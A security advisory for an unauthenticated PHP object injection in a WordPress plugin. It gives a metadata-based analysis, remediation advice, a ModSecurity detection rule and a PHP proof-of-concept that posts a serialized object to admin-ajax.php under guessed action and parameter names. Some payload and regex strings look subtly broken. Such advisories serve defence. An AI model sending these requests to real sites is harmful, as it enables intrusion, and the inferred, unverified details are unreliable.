Atomic Edge analysis of CVE-2025-69382 (metadata-based):
This vulnerability is an unauthenticated PHP object injection in the Themesflat Elementor WordPress plugin, affecting version 1.0.1 and earlier. The flaw allows attackers to inject arbitrary PHP objects via deserialization of untrusted input. The CVSS score of 8.1 (High) reflects a network-based attack with high impact on confidentiality, integrity, and availability, though exploitation requires a high attack complexity.
Atomic Edge research indicates the root cause is deserialization of user-controlled data without proper validation. The CWE-502 classification confirms the plugin passes untrusted input directly to PHP’s `unserialize()` function or a similar deserialization routine. This conclusion is inferred from the CWE and vulnerability description, as the source code is unavailable for direct confirmation. The vulnerable code likely resides in an AJAX handler, REST endpoint, or a function processing shortcode parameters that accepts serialized data.
Exploitation likely targets a public-facing WordPress endpoint. A common pattern for such plugins is an AJAX action registered with `wp_ajax_nopriv_`. The attacker would send a crafted serialized object payload to `/wp-admin/admin-ajax.php` with an `action` parameter like `themesflat_elementor_action`. The payload would be placed in a POST parameter such as `data` or `options`. Without a known POP chain in the plugin itself, the injected object would not achieve immediate code execution. Attackers would need to chain this with a usable gadget from another component on the target system.
Remediation requires removing the insecure deserialization. The patched version should replace `unserialize()` with a safe alternative like `json_decode()` for data interchange, or implement strict type checking and whitelisting of allowed classes before deserialization. Input validation must ensure only expected, non-object data is processed. The plugin should also implement proper capability checks and nonce verification on all endpoints, though the unauthenticated nature suggests these were absent.
Successful exploitation can lead to severe consequences. If a suitable POP chain exists from another plugin or theme, attackers can achieve remote code execution, arbitrary file deletion, or sensitive data disclosure. This grants full control over the WordPress site. Even without a POP chain, the injection of arbitrary objects can cause application crashes or unpredictable behavior, constituting a denial-of-service condition.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-69382 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202569382,phase:2,deny,status:403,chain,msg:'CVE-2025-69382 via Themesflat Elementor AJAX - PHP Object Injection',severity:'CRITICAL',tag:'CVE-2025-69382',tag:'attack-injection',tag:'paranoia-level/1'"
SecRule ARGS_POST:action "@beginsWith themesflat_elementor_" "chain"
SecRule ARGS_POST "@rx (^|&)[^=]*=(?:[a-z]d:|o:d+:|c:d+:|s:d+:)"
"t:none,t:urlDecodeUni,t:lowercase,t:removeWhitespace,capture,setvar:'tx.cve_2025_69382_score=+%{tx.critical_anomaly_score}',setvar:'tx.inbound_anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69382 - Themesflat Elementor <= 1.0.1 - Unauthenticated PHP Object Injection
<?php
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
// The exact AJAX action name is inferred from the plugin slug.
// Common naming conventions suggest 'themesflat_elementor_' as a prefix.
$inferred_action = 'themesflat_elementor_action';
// A generic serialized payload. Without a known POP chain, this is a placeholder.
// In a real attack, this would be replaced with a crafted object using a gadget chain.
$serialized_payload = 'O:8:"stdClass":1:{s:4:"test";s:7:"inject";}';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
// Assume the vulnerable parameter is named 'data' or 'options'. Both are common.
$post_fields = array(
'action' => $inferred_action,
'data' => $serialized_payload
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Bypass SSL verification for testing environments.
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body: " . $response . "n";
// This PoC demonstrates the request structure. A successful exploit requires
// identifying the exact action and parameter names, and a viable POP chain.
?>
